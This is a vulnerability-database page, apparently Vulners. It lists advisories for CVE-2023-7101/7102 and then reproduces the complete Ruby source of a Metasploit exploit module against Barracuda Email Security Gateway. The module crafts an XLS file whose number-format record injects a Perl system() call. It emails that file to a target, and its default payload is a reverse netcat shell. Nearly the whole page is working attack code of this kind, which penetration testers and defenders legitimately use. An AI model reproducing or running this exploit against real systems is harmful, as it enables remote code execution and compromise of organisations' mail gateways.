| Reporter | Title | Published | Views | Family All 73 |
|---|---|---|---|---|
| CVE-2023-7101 | 24 Dec 202322:15 | – | attackerkb | |
| CVE-2023-7102 | 24 Dec 202322:15 | – | attackerkb | |
| Amazon Linux 2023 : perl-Spreadsheet-ParseExcel (ALAS2023-2024-491) | 23 Jan 202400:00 | – | nessus | |
| Amazon Linux AMI : perl-Spreadsheet-ParseExcel (ALAS-2024-1905) | 23 Jan 202400:00 | – | nessus | |
| Debian dla-3702 : libspreadsheet-parseexcel-perl - security update | 22 Jan 202500:00 | – | nessus | |
| Fedora 38 : perl-Spreadsheet-ParseExcel (2023-84d3cc47b1) | 7 Jan 202400:00 | – | nessus | |
| Fedora 39 : perl-Spreadsheet-ParseExcel (2023-921f6975c2) | 7 Jan 202400:00 | – | nessus | |
| FreeBSD : p5-Spreadsheet-ParseExcel -- Remote Code Execution Vulnerability (cb22a9a6-c907-11ee-8d1c-40b034429ecf) | 12 Feb 202400:00 | – | nessus | |
| GLSA-202508-05 : Spreadsheet-ParseExcel: Arbitrary Code Execution | 6 Aug 202500:00 | – | nessus | |
| Spreadsheet::ParseExcel RCE (CVE-2023-7101) | 17 May 202400:00 | – | nessus |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::SMTPDeliver
# BIFF8 Record Opcodes
BIFF8_BOF = 0x0809 # Beginning of File
BIFF8_EOF = 0x000A # End of File
BIFF8_CODEPAGE = 0x0042 # Code page
BIFF8_WINDOW1 = 0x003D # Window information
BIFF8_DATEMODE = 0x0022 # Date system
BIFF8_FONT = 0x0031 # Font definition
BIFF8_FORMAT = 0x041E # Number format string (payload injection point)
BIFF8_XF = 0x00E0 # Extended format
BIFF8_STYLE = 0x0293 # Style definition
BIFF8_BOUNDSHEET = 0x0085 # Sheet information
BIFF8_DIMENSION = 0x0200 # Sheet dimensions
BIFF8_ROW = 0x0208 # Row definition
BIFF8_NUMBER = 0x0203 # Floating point cell
# BIFF8 Constants
BIFF8_VERSION = 0x0600
BOF_WORKBOOK = 0x0005
BOF_WORKSHEET = 0x0010
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Barracuda ESG Spreadsheet::ParseExcel Arbitrary Code Execution',
'Description' => %q{
This module exploits CVE-2023-7102, an arbitrary code execution vulnerability
in Barracuda Email Security Gateway (ESG) appliances. The vulnerability exists
in how the Amavis scanner processes Excel attachments using the Perl
Spreadsheet::ParseExcel library.
The library's Utility.pm contains an unsafe eval() that processes Excel
Number format strings without validation. By crafting a malicious XLS file
with a specially formatted Number format string containing Perl code, an
attacker can achieve remote code execution when the ESG scans the email
attachment.
This module dynamically generates a minimal BIFF8 XLS file with the payload
embedded in a FORMAT record using Rex::OLE. Payload constraints: no ']' (terminates
format string) or single quotes (breaks Perl eval injection).
This vulnerability was exploited in the wild by UNC4841 (China-nexus threat
actor) starting November 2023. Barracuda deployed automatic patches on
December 21, 2023.
Affected versions: Barracuda ESG 5.1.3.001 through 9.2.1.001
},
'License' => MSF_LICENSE,
'Author' => [
'Mandiant', # CVE-2023-7101/7102 discovery
'haile01', # CVE-2023-7101 XLS payload technique
'Curt Hyvarinen' # Metasploit module
],
'References' => [
['CVE', '2023-7102'],
['CVE', '2023-7101'],
['URL', 'https://github.com/haile01/perl_spreadsheet_excel_rce_poc'],
['URL', 'https://trust.barracuda.com/security/information/esg-vulnerability'],
['URL', 'https://cloud.google.com/blog/topics/threat-intelligence/unc4841-post-barracuda-zero-day-remediation'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-7101']
],
'DisclosureDate' => '2023-12-24',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => false, # Runs as scana user (Amavis scanner)
'Payload' => {
'Space' => 8192,
'DisableNops' => true,
'BadChars' => "]'\x00" # ] terminates format, ' breaks eval, null terminates
},
'Targets' => [
[
'Unix Command',
{
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat'
}
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptString.new('MAILTO', [true, 'Target email address on the ESG']),
OptString.new('SUBJECT', [false, 'Email subject line (default: random)']),
OptString.new('BODY', [false, 'Email body text (default: random)']),
OptString.new('FILENAME', [false, 'XLS attachment filename (default: random)'])
]
)
end
def check
connect
banner_str = banner.to_s
if banner_str =~ /barracuda/i
return CheckCode::Detected('Barracuda ESG detected in SMTP banner')
end
if banner_str =~ /ESMTP/i
return CheckCode::Unknown('SMTP server detected, but cannot confirm Barracuda ESG')
end
CheckCode::Safe('No SMTP banner detected')
rescue Rex::ConnectionError => e
CheckCode::Unknown("Connection failed: #{e.message}")
ensure
disconnect
end
def exploit
cmd = payload.encoded
# Validate payload doesn't contain characters that break the injection
if cmd.include?(']')
fail_with(Failure::BadConfig, "Payload contains ']' which terminates the format string. Use a different payload.")
end
if cmd.include?("'")
fail_with(Failure::BadConfig, 'Payload contains single quote which breaks eval injection. Use a different payload.')
end
@subject = datastore['SUBJECT']
@body = datastore['BODY']
@filename = datastore['FILENAME']
@mailfrom = datastore['MAILFROM']
@subject = Rex::Text.rand_text_alpha(rand(8..16)) if @subject.to_s.strip.empty?
@body = Rex::Text.rand_text_alpha(rand(16..32)) if @body.to_s.strip.empty?
@filename = "#{Rex::Text.rand_text_alpha(8)}.xls" if @filename.to_s.strip.empty?
print_status('Generating malicious XLS with payload in FORMAT record')
xls_data = generate_malicious_xls(cmd)
print_status('Composing email with XLS attachment')
email_data = generate_exploit_email(xls_data)
print_status("Sending exploit email to #{datastore['MAILTO']} via #{rhost}:#{rport}")
send_message(email_data)
print_good('Email sent successfully')
print_status('Payload executes when Amavis scanner parses the XLS attachment (may take 30-90 seconds)')
end
#
# Generate a malicious XLS file with payload embedded in FORMAT record
# Uses Rex::OLE for OLE2 container and builds BIFF8 records dynamically
#
def generate_malicious_xls(cmd)
# Build the malicious format string
# Format: [>0;system('COMMAND')]0
# The >0 comparison is always true for positive numbers, then Perl executes system()
format_payload = "[>0;system('#{cmd}')]0"
vprint_status("Format string payload: #{format_payload}")
vprint_status("Payload length: #{format_payload.length} bytes")
# Build BIFF8 workbook stream
workbook = build_workbook_stream(format_payload)
# Build BIFF8 worksheet stream
worksheet = build_worksheet_stream
# Combine streams (worksheet follows workbook globals in same stream)
content = workbook + worksheet
# Create OLE2 container using Rex::OLE
xls_data = create_ole2_xls(content)
vprint_status("Generated XLS size: #{xls_data.length} bytes")
xls_data
end
#
# Build BIFF8 workbook globals stream
#
def build_workbook_stream(format_payload)
stream = ''.b
# BOF - Workbook
stream << biff_record(BIFF8_BOF, bof_data(BOF_WORKBOOK))
# Codepage (UTF-16)
stream << biff_record(BIFF8_CODEPAGE, [0x04B0].pack('v'))
# Window1 - basic window settings
stream << biff_record(BIFF8_WINDOW1, window1_data)
# Datemode - 1900 date system
stream << biff_record(BIFF8_DATEMODE, [0x0000].pack('v'))
# Font records (need at least 4 for XF records)
4.times { stream << biff_record(BIFF8_FONT, font_data) }
# FORMAT record - this is where our payload lives
stream << biff_record(BIFF8_FORMAT, format_data(format_payload))
# XF records (cell formatting) - need 21 built-in + 1 custom
21.times { stream << biff_record(BIFF8_XF, xf_data(0)) }
stream << biff_record(BIFF8_XF, xf_data(165)) # References our custom format
# Style record
stream << biff_record(BIFF8_STYLE, style_data)
# Boundsheet - worksheet BOF offset = current stream length + this record's size + EOF record size
# Pre-compute the BOUNDSHEET record size to calculate the correct absolute offset
boundsheet_size = biff_record(BIFF8_BOUNDSHEET, boundsheet_data(0)).bytesize
eof_size = biff_record(BIFF8_EOF, '').bytesize
stream << biff_record(BIFF8_BOUNDSHEET, boundsheet_data(stream.length + boundsheet_size + eof_size))
# EOF
stream << biff_record(BIFF8_EOF, '')
stream
end
#
# Build BIFF8 worksheet stream
#
def build_worksheet_stream
stream = ''.b
# BOF - Worksheet
stream << biff_record(BIFF8_BOF, bof_data(BOF_WORKSHEET))
# Dimension - 1x1 used range
stream << biff_record(BIFF8_DIMENSION, dimension_data)
# Row definition
stream << biff_record(BIFF8_ROW, row_data(0))
# NUMBER record - cell with value that triggers format processing
# Row 0, Col 0, XF index 21 (our custom format), Value 123.0
stream << biff_record(BIFF8_NUMBER, number_data(0, 0, 21, 123.0))
# EOF
stream << biff_record(BIFF8_EOF, '')
stream
end
#
# Create OLE2 compound document containing the workbook stream
#
def create_ole2_xls(content)
# Create temporary file for Rex::OLE
tmpfile = Rex::Quickfile.new('msf-xls')
tmppath = tmpfile.path
tmpfile.close
begin
stg = Rex::OLE::Storage.new(tmppath, Rex::OLE::STGM_WRITE)
fail_with(Failure::Unknown, 'Failed to create OLE storage') unless stg
stm = stg.create_stream('Workbook')
fail_with(Failure::Unknown, 'Failed to create Workbook stream') unless stm
stm << content
stm.close
stg.close
# Read the generated file
xls_data = File.binread(tmppath)
xls_data
ensure
File.delete(tmppath) if File.exist?(tmppath)
end
end
# BIFF8 Record Helpers
#
# Build a BIFF8 record: opcode (2 bytes) + length (2 bytes) + data
#
def biff_record(opcode, data)
[opcode, data.bytesize].pack('v2') + data
end
#
# BOF record data
#
def bof_data(sheet_type)
[
BIFF8_VERSION, # BIFF version
sheet_type, # Sheet type (workbook or worksheet)
0x0DBB, # Build identifier
0x07CC, # Build year
0x000000C1, # File history flags
0x00000006 # Lowest BIFF version
].pack('v4V2')
end
#
# Window1 record data
#
def window1_data
[
0x0000, # Horizontal position
0x0000, # Vertical position
0x4000, # Width
0x2000, # Height
0x0038, # Options
0x0000, # Selected tab
0x0000, # First displayed tab
0x0001, # Selected tabs count
0x00E5 # Tab bar width ratio
].pack('v9')
end
#
# Font record data
#
def font_data
font_name = 'Arial'
data = [
0x00C8, # Height (200 twips = 10pt)
0x0000, # Options
0x7FFF, # Color index
0x0190, # Font weight (400 = normal)
0x0000, # Escapement
0x00, # Underline
0x00, # Font family
0x00, # Character set
0x00, # Reserved
font_name.length # Name length (byte string)
].pack('v4vC5')
data << font_name
data
end
#
# FORMAT record data - contains our payload
#
def format_data(format_string)
# FORMAT record structure for BIFF8:
# - 2 bytes: format index (custom formats start at 164)
# - 2 bytes: string length (character count)
# - 1 byte: encoding flag (0 = compressed/Latin-1, 1 = UTF-16)
# - variable: string data
format_index = 165
data = [
format_index,
format_string.length,
0x00 # Latin-1 encoding (single byte per char)
].pack('v2C')
data << format_string
data
end
#
# XF (extended format) record data
#
def xf_data(format_index)
[
0x0000, # Font index
format_index, # Format index (0 = General, 165 = our custom)
0x0001, # Type/protection flags
0x00, # Alignment
0x00, # Rotation
0x00, # Text properties
0x00, # Used attributes
0x00000000, # Border colors
0x00000000, # Border lines
0x00000000 # Pattern/background color
].pack('v3C4V3')
end
#
# Style record data
#
def style_data
[
0x8000, # XF index with built-in flag set
0x00, # Built-in style ID (Normal)
0xFF # Outline level
].pack('vCC')
end
#
# Boundsheet record data
#
def boundsheet_data(sheet_offset)
sheet_name = 'Sheet1'
data = [
sheet_offset, # Absolute offset to BOF
0x00, # Sheet state (visible)
0x00, # Sheet type (worksheet)
sheet_name.length # Name length
].pack('VCC C')
data << sheet_name
data
end
#
# Dimension record data
#
def dimension_data
[
0x0000, # First row
0x0001, # Last row + 1
0x0000, # First column
0x0001, # Last column + 1
0x0000 # Reserved
].pack('v5')
end
#
# Row record data
#
def row_data(row_num)
[
row_num, # Row number
0x0000, # First defined column
0x0001, # Last defined column + 1
0x00FF, # Row height
0x0000, # Reserved
0x0000, # Reserved
0x0100 # Options
].pack('v7')
end
#
# NUMBER record data
#
def number_data(row, col, xf_index, value)
data = [row, col, xf_index].pack('v3')
data << [value].pack('E') # 64-bit IEEE 754 double (little-endian)
data
end
#
# Generate MIME email with XLS attachment
#
def generate_exploit_email(xls_data)
msg = Rex::MIME::Message.new
msg.mime_defaults
msg.from = @mailfrom
msg.to = datastore['MAILTO']
msg.subject = @subject
msg.add_part(@body, 'text/plain', nil, 'inline')
msg.add_part_attachment(xls_data, @filename)
msg.to_s
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation